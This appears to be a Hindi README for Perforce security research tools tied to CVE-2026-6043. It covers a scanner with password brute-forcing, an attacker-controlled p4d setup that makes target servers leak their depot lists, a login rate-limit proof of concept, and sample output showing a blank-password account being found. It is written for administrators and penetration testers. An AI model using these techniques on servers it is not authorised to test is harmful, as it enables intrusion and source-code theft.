
Perforce सुरक्षा अनुसंधान और उपकरण - CVE-2026-6043
Perforce (Helix Core) सुरक्षा अनुसंधान उपकरण और nuclei टेम्पलेट्स।
शोध लेख: https://morganrobertson.net/p4wned/
कृपया पूर्ण विवरण के लिए उपरोक्त पढ़ें।
केवल अधिकृत लक्ष्य। अपने स्वयं के सर्वर पर या स्पष्ट लिखित अनुमति से उपयोग करें।
इच्छित दर्शक: Perforce सर्वर प्रशासक, पैठ परीक्षक, सुरक्षा इंजीनियर
मई 2026 अपडेट: Perforce 2026.1 जारी कर दिया गया है। यह संस्करण सुरक्षित डिफ़ॉल्ट सेटिंग्स के साथ आता है! डेवलपर IP की सुरक्षा के लिए इसे जारी होते देख बहुत खुशी हुई। यहाँ और पढ़ें।
नोट: ये उपकरण CVE-2026-6043 से उत्पन्न गलत कॉन्फ़िगरेशन को स्कैन करते हैं।
| उपकरण | आवश्यकताएँ |
|---|---|
p4wned.py | Python 3, p4 CLI बाइनरी (नीचे देखें) |
p4ghost.py | Python 3, p4 CLI बाइनरी, स्थानीय p4d इंस्टेंस (नीचे सेटअप देखें) |
p4-auth-hammer | g++, Perforce C++ API, OpenSSL 1.1.1 (देखें p4-auth-hammer/README.md) |
| JavaScript उपकरण | Node.js (कोई बाहरी निर्भरता नहीं) |
| Nuclei टेम्पलेट्स | Nuclei v3+ |
| Metasploit मॉड्यूल | Metasploit Framework |
p4 बाइनरी प्राप्त करना (p4wned.py और p4ghost.py के लिए आवश्यक):
# Perforce उपयोग की शर्तों के अधीन: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4
Perforce सर्वर एक कस्टम बाइनरी TCP प्रोटोकॉल (डिफ़ॉल्ट पोर्ट 1666) का प्रदर्शन करते हैं। कई इंस्टॉलेशन असुरक्षित डिफ़ॉल्ट सेटिंग्स के साथ आते हैं — बिना प्रमाणीकरण के उपयोगकर्ता सूची, सर्वर जानकारी का खुलासा, सुलभ रिमोट डिपॉट, कोई पासवर्ड आवश्यकता नहीं, और लॉगिन प्रयासों पर कोई दर-सीमा नहीं। यहाँ सभी उपकरण बिना क्रेडेंशियल की आवश्यकता के इन डिफ़ॉल्ट का शोषण करते हैं।
प्राथमिक स्कैनर। उपयोगकर्ताओं को सूचीबद्ध करने, क्रेडेंशियल का परीक्षण करने, डिपॉट सूचीबद्ध करने और एक रिपोर्ट तैयार करने के लिए p4 CLI बाइनरी का उपयोग करता है।
python3 p4wned.py [-brute] [-audit] [-parallel N]
विकल्प:
| फ़्लैग | विवरण |
|---|---|
-brute | बल प्रयोग मोड सक्षम करें — सभी खोजे गए उपयोगकर्ता खातों के विरुद्ध पासवर्ड का परीक्षण करता है |
-audit | विस्तृत ऑडिट मोड — कमजोरी मिलने के बाद भी सभी उपयोगकर्ताओं का परीक्षण जारी रखता है |
-parallel N | समानांतर पासवर्ड प्रयासों की संख्या (डिफ़ॉल्ट: 1) |
कॉन्फ़िग (स्क्रिप्ट के शीर्ष पर संपादित करें):
| चर | विवरण |
|---|---|
INPUT_FILE | लक्ष्य सूची (ip:port, प्रति पंक्ति एक) — डिफ़ॉल्ट perforce-servers.txt |
P4_CMD | p4 बाइनरी का पथ — डिफ़ॉल्ट ./p4 |
TOP_PASSWORDS_FILE | बल प्रयोग के लिए वर्डलिस्ट — डिफ़ॉल्ट top-passwords.txt |
KNOWN_CREDS_FILE | पहले प्रयास करने के लिए ज्ञात क्रेडेंशियल जोड़े |
REPORT_FILE | आउटपुट रिपोर्ट पथ |
यह क्या करता है:
run.users.authorize=0)super समूह सदस्यता की जाँच करता हैकंसोल आउटपुट:
$ python3 p4wned.py
___ _ _ __ __ __ __ ___
/ _ \ || |/ / /\ \ \/\ \ \/__\/ \
/ /_)/ || |\ \/ \/ / \/ /_\ / /\ /
/ ___/|__ _\ /\ / /\ //__/ /_//
\/ |_| \/ \/\_\ \/\__/___,'
P4WNED - 0wning P4 servers via shit security defaults since Y2K+25
· Sniffs out user accounts, blank passwords, weak creds, and dumb settings.
· Confirms depots access and those juicy "super" user accounts.
· Drops a tidy report so you can fix the mess before the Skids arrive
Authorised targets only, brotendo. Use on your own servers or at your own risk.
==============================================================================
=== Processing: 192.0.2.10:1666 (perforce.example-studio.com) ===
[INFO] Testing user 'super' for security issues...
[INFO] User 'super' does not exist.
[INFO] Users listing accessible: build, designer1, jsmith, lead_prog, svc_build
[INFO] Testing user 'build' for security issues...
[INFO] Testing user 'designer1' for security issues...
[INFO] Testing user 'jsmith' for security issues...
[INFO] Testing user 'lead_prog' for security issues...
[INFO] Testing user 'svc_build' for security issues...
[INFO] Added new credential for 192.0.2.10:1666: user='svc_build', password='None'
[INFO] Saving updated credentials after finding valid credentials for svc_build on 192.0.2.10:1666
[INFO] Report saved to perforce-report-p4wned-1775436520.txt
रिपोर्ट फ़ाइल (perforce-report-p4wned-*.txt):
Perforce Security Scan Report
Server: 192.0.2.10:1666 (perforce.example-studio.com)
Status: Insecure
Note: Insecure via user 'svc_build' (no password)
== Depots ==
Depot depot 2025/11/03 local depot/... 'Default depot'
Depot assets 2024/08/19 local assets/... 'Asset depot'
== Last 10 Changes ==
Change 1047 on 2025/11/03 14:22:11 by lead_prog@DESKTOP-BUILD01
Merge branch feature/ai-pathfinding
Change 1046 on 2025/11/03 09:44:38 by designer1@DESKTOP-ART02
Updated character rig exports
== Depot Details ==
Depot: depot
-- Root Directories --
//depot/Source
//depot/Content
//depot/Config
This depot is a non-Unreal Engine Depot.
------------------------------------------------------------
Summary Report
Server: 192.0.2.10:1666 - Insecure - Note: Insecure via user 'svc_build' (no password)
छिपे हुए remote उपयोगकर्ता के माध्यम से बिना प्रमाणीकरण के रिमोट डिपॉट एक्सेस का परीक्षण करता है। शोषण स्थानीय रूप से एक हमलावर-नियंत्रित p4d इंस्टेंस चलाकर काम करता है — लक्ष्य सर्वर सर्वर-टू-सर्वर प्रोटोकॉल के भाग के रूप में उससे वापस जुड़ता है, इस प्रक्रिया में अपनी डिपॉट फ़ाइल सूची को लीक करता है।
सेटअप (एक बार):
# Perforce उपयोग की शर्तों के अधीन: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r24.2/bin.linux26x86_64/p4d
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4d p4
# पोर्ट 1818 पर एक सादा ASCII p4d प्रारंभ करें (हमलावर के सर्वर के रूप में उपयोग किया जाता है)
mkdir p4root_attacker
./p4d -r ./p4root_attacker -p 1818 -d
# यूनिकोड लक्ष्यों के लिए एक अलग पोर्ट (1819) पर यूनिकोड p4d प्रारंभ करें
mkdir p4root_attacker_unicode
./p4d -r ./p4root_attacker_unicode -xi # यूनिकोड मोड में बदलें
./p4d -r ./p4root_attacker_unicode -p 1819 -d
python3 p4ghost.py <input_file> [-skipnolicense] [-report FILE] [-p4cmd PATH]
[-unicodeport PORT] [-nonunicodeport PORT] [-timeout SECS]
# ऊपर दिए गए स्थानीय हमलावर सर्वरों का उपयोग करके उदाहरण आह्वान
python3 p4ghost.py targets.txt -nonunicodeport 1818 -unicodeport 1819
आर्गुमेंट्स:
| फ़्लैग | विवरण |
|---|---|
input_file | लक्ष्य सूची (ip:port, प्रति पंक्ति एक) |
-skipnolicense | उन सर्वरों को छोड़ें जो Server license: none लौटाते हैं |
-report FILE | आउटपुट रिपोर्ट पथ |
-p4cmd PATH | p4 बाइनरी का पथ (डिफ़ॉल्ट ./p4) |
-unicodeport PORT | हमलावर के सर्वर के रूप में उपयोग करने के लिए स्थानीय यूनिकोड p4d पोर्ट |
-nonunicodeport PORT | स्थानीय गैर-यूनिकोड p4d पोर्ट |
-timeout SECS | कमांड टाइमआउट |
प्रभावित संस्करण: security < 4 वाले सभी 2025.1 से नीचे के संस्करण (डिफ़ॉल्ट 0 है)।
प्रूफ-ऑफ-कॉन्सेप्ट दर्शाता है कि p4d जब security < 3 होता है तो प्रभावी ढंग से प्रमाणीकरण प्रयासों को दर-सीमित नहीं करता है। Perforce C++ API का उपयोग करके एक खाते के विरुद्ध प्रति मिनट 300,000 से अधिक लॉगिन प्रयास प्राप्त करता है।